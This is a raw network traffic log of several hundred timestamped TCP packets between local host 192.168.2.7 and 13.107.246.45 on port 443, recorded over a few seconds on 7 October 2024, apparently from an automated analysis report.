Oct 7, 2024 18:43:39.714251041 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.714267969 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.714277029 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.717272997 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.717320919 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.717428923 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.717596054 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.717609882 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.732903957 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.733129978 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.733172894 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.733360052 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.733360052 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.733360052 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.733360052 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.735404968 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.735443115 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.735512972 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.735615015 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.735630989 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.747097015 CEST	443	49832	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.748538971 CEST	443	49832	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.748616934 CEST	49832	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.748672009 CEST	49832	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.748684883 CEST	443	49832	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.748704910 CEST	49832	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.748711109 CEST	443	49832	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.750577927 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.750655890 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.750747919 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.750859022 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.750879049 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.758099079 CEST	443	49831	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.758522034 CEST	443	49831	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.758596897 CEST	49831	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.758682013 CEST	49831	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.758682013 CEST	49831	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.758730888 CEST	443	49831	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.758758068 CEST	443	49831	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.760484934 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.760524035 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.760634899 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.760802984 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.760818005 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.771959066 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.772020102 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.772078037 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.772398949 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.772417068 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.772427082 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.772432089 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.774744987 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.774781942 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:39.774852991 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.774970055 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:39.774981976 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.038552046 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.038573980 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.367600918 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.368123055 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.368149996 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.368587971 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.368594885 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.385607958 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.385927916 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.385951996 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.386436939 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.386446953 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.392782927 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.393130064 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.393151999 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.393503904 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.393510103 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.443197012 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.443662882 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.443689108 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.444183111 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.444186926 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.459528923 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.460020065 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.460030079 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.460376024 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.460381031 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.464874983 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.465209961 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.465270996 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.465302944 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.465328932 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.465373039 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.465399027 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.465423107 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.465435028 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.465440035 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.467770100 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.467802048 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.467861891 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.467978001 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.467991114 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.488995075 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.489065886 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.489223003 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.489262104 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.489262104 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.489280939 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.489291906 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.492026091 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.492049932 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.492242098 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.492361069 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.492372036 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.495255947 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.495347977 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.495603085 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.495667934 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.495683908 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.495695114 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.495698929 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.497731924 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.497827053 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.497919083 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.498039961 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.498075962 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.537302971 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.537348032 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.537411928 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.537528038 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.537847996 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.537864923 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.537873983 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.537878990 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.540296078 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.540393114 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.540484905 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.540612936 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.540644884 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.559106112 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.559534073 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.559602976 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.559618950 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.559623957 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.559632063 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.559634924 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.561849117 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.561878920 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:40.561965942 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.562294006 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:40.562304974 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.275238991 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.287000895 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.287034035 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.294399977 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.294405937 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.324464083 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.324465990 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.337591887 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.342951059 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.366012096 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.366012096 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.383407116 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.398133039 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.417167902 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.417188883 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.417992115 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.418004990 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.439455032 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.439476013 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.440485954 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.440491915 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.442481041 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.442481041 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.442491055 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.442504883 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.442876101 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.442879915 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.443989992 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.443998098 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.452661991 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.452753067 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.452807903 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.453250885 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.453267097 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.453279018 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.453284025 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.477509975 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.477547884 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.477623940 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.489305973 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.489331007 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.637254000 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.637259007 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.637348890 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.637367010 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.637437105 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.638405085 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.639365911 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.639369965 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.639422894 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.639445066 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.639472961 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.639472961 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.639511108 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.639525890 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.795577049 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.795577049 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.795603037 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.795613050 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.827184916 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.827186108 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.827265978 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.827299118 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.829441071 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.829459906 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.829483986 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.829499006 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.829827070 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.829827070 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:41.829843998 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:41.829854012 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.124428034 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.124475002 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.124532938 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.126224995 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.126272917 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.126329899 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.127821922 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.127842903 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.136957884 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.136985064 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.138149977 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.138180971 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.138240099 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.138515949 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.138528109 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.140536070 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.140563965 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.140615940 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.141571999 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.141587973 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.194782019 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.195789099 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.195812941 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.196788073 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.196794987 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.296924114 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.297463894 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.297524929 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.298518896 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.298538923 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.298553944 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.298562050 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.350168943 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.350199938 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.350259066 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.351258039 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.351270914 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.774041891 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.774879932 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.775022984 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.775429964 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.775443077 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.780169010 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.780544996 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.780575991 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.780924082 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.780930042 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.793411970 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.793903112 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.793926001 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.794311047 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.794317007 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.843173981 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.843851089 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.843888998 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.846198082 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.846214056 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.869673014 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.870223999 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.870292902 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.870345116 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.870361090 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.870373964 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.870379925 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.873437881 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.873469114 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.873734951 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.873734951 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.873790026 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.875730991 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.875860929 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.875901937 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.875912905 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.875962019 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.876038074 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.876060009 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.876075983 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.876084089 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.878585100 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.878632069 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.878703117 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.878873110 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.878894091 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.891311884 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.891872883 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.891937971 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.891992092 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.892029047 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.892070055 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.892086029 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.894229889 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.894267082 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.894359112 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.894509077 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.894520044 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.944402933 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.945178986 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.945218086 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.945245028 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.945286989 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.945342064 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.945362091 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.945374966 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.945382118 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.948210955 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.948268890 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:42.948355913 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.948524952 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:42.948554993 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.036479950 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.038053989 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.038108110 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.039311886 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.039319038 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.141745090 CEST	443	49851	13.107.246.45	192.168.2.7
